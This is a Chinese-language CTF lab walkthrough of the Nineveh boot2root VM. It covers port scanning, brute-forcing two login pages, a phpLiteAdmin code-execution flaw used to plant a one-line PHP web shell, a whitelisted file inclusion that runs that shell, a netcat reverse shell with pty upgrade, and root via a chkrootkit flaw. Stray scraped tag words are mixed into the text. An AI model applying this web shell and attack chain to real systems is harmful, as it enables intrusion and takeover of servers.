14. CTF综合靶机渗透(七)

靶机说明

NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战。php

VM虚机配置有静态IP地址(192.168.0.150)html

目标

Boot to root:得到root权限,查看flag。python

运行环境

  • 靶机:静态IP是192.168.0.150。
  • 攻击机:同网段下有kali攻击机(物理机),IP地址:192.168.0.128,安装有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Python2.七、JDK、DirBuster、AWVS、Nessus等渗透工具,也可使用windows攻击机。

信息收集

  • 端口服务识别

启动NinevehV0.3.7z虚拟机,因为IP已知,使用nmap扫描端口,并作服务识别和深度扫描(加-A参数),命令:linux

nmap -T4 -A -p 1-65535 192.168.0.150shell

发现只开放了80和443这2个端口,可是后面有一个ssl-cert 也就是ssl证书数据库

比较敏感也就是443端口,windows

 

咱们先访问   http://192.168.0.150安全

 

HTTP协议传输的数据都是未加密的,也就是明文的,所以使用HTTP协议传输隐私信息很是不安全,为了保证这些隐私数据能加密传输,因而网景公司设计了SSL(Secure Sockets Layer)协议用于对HTTP协议传输的数据进行加密,从而就诞生了HTTPS。
简单来讲,HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,要比http协议安全。

咱们再访问   https://192.168.0.105

 

咱们尝试扫描目录,你们在windows经常使用御剑,这里推荐kali下的dirb ,或者dirsearch.py脚本bash

dirsearch.py 具体脚本及其用法:http://www.freebuf.com/column/153277.html网络

咱们先扫描  https://192.168.0.150

咱们顺带扫描一波 http://192.168.0.150

 

综上所述,咱们发现https有个 /db/ 目录,http 有个 /department/ 目录

咱们先访问 /db/ 目录看看:

发现是个登录页面,并且系统cms为  phpLiteAdmin v1.9  咱们google hacker一把

发现存在远程php代码执行漏洞 :http://blog.51cto.com/penright/1116853

不过咱们首先须要登录进去,看来只有使用爆破了

咱们用burpsuite抓包,加载字典,爆破

爆破得出密码为  password123  ,若是爆破不出来,只能说明你的字典不够强大

登录进去后发现:

登录成功后就按照爆出的漏洞payload开始尝试破解

先建立一个数据库 test.php

发现建立成功:

 

 在test.php为扩展名的数据库中新建表a,并插入一句话代码<? php echo system($_REQUEST['cmd']); ?>

 

 

一切准备就绪,咱们还差一个能触发的点,如今咱们回头看这个 http  下的   /department 目录:

发现登录框,咱们先来一波弱口令,万能密码....发现失败,可是看源代码有了其余发现:

怀疑用户名是admin

根据页面回显的不一样,肯定是admin ,就剩密码的话。。。。爆破吧

爆破发现密码是  1q2w3e4r5t  ,这密码也是够新奇的

登录:

 

 咱们分别点击几个栏目,当点到  notes  时


登陆在  http://192.168.0.150/department/manage.php?notes=files/ninevehNotes.txt  是一个简单任意文件读取,可是这里的读取文件是被写入白名单里的,就是它只能读取结尾带   ‘   ninevehNotes   ’   的文件,测试如图:

 

 

这样的话,咱们在数据库中插了一个马,若是能被远程文件包含利用,必须是  ninevehNotes  结尾的

这就须要咱们修改数据库名:

这样的话,咱们尝试文件包含,来执行咱们的linux命令:

解析下来咱们选择 nc监听端口 来getshell

反向shell获取参考 http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

将其转换成交互式的shell,方便运行su。在终端中执行:
python -c 'import pty;pty.spawn('/bin/bash')'  

python2没有spawn,咱们使用python3

python3 -c 'import pty;pty.spawn("/bin/bash")'

咱们须要设置tty 保证咱们在nc shell 上与终端彻底交互,以便使用全部功能(tab-complete,history,job control等):

参考:如何将简单的Shell转换成为彻底交互式的TTY
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/3529.html

或者:
学习人家的方法,
用kali的msf来生成马,进而进行反弹shell

 

可是这个权限还算不够的,咱们只能经过提权作进一步操做。你们确定都直接想到脏牛提权了,可是本靶机没有这个漏洞,本菜在进行磁盘查看的时候,发现一个叫“/report”的文件夹,经过查看里面的文件发现是一个rootkit检测工具的实时报告文件,如图

本菜使用比较笨的方法,就是把所知道的关于rookit的检测工具都进行全盘搜索,最后定位到使用了“chkrootkit”,

 

经过查看其版本号和配置信息结合google搜索,发现一个本地提权漏洞,而MSF也已经有该利用脚本,如图:

经过该漏洞最终拿下来root权限并获得flag:

 

本靶机还能够经过获取ssh key 来提权,ssh key写在一个名叫“nineveh.png”图片内,如图:

 

相关文章
相关标签/搜索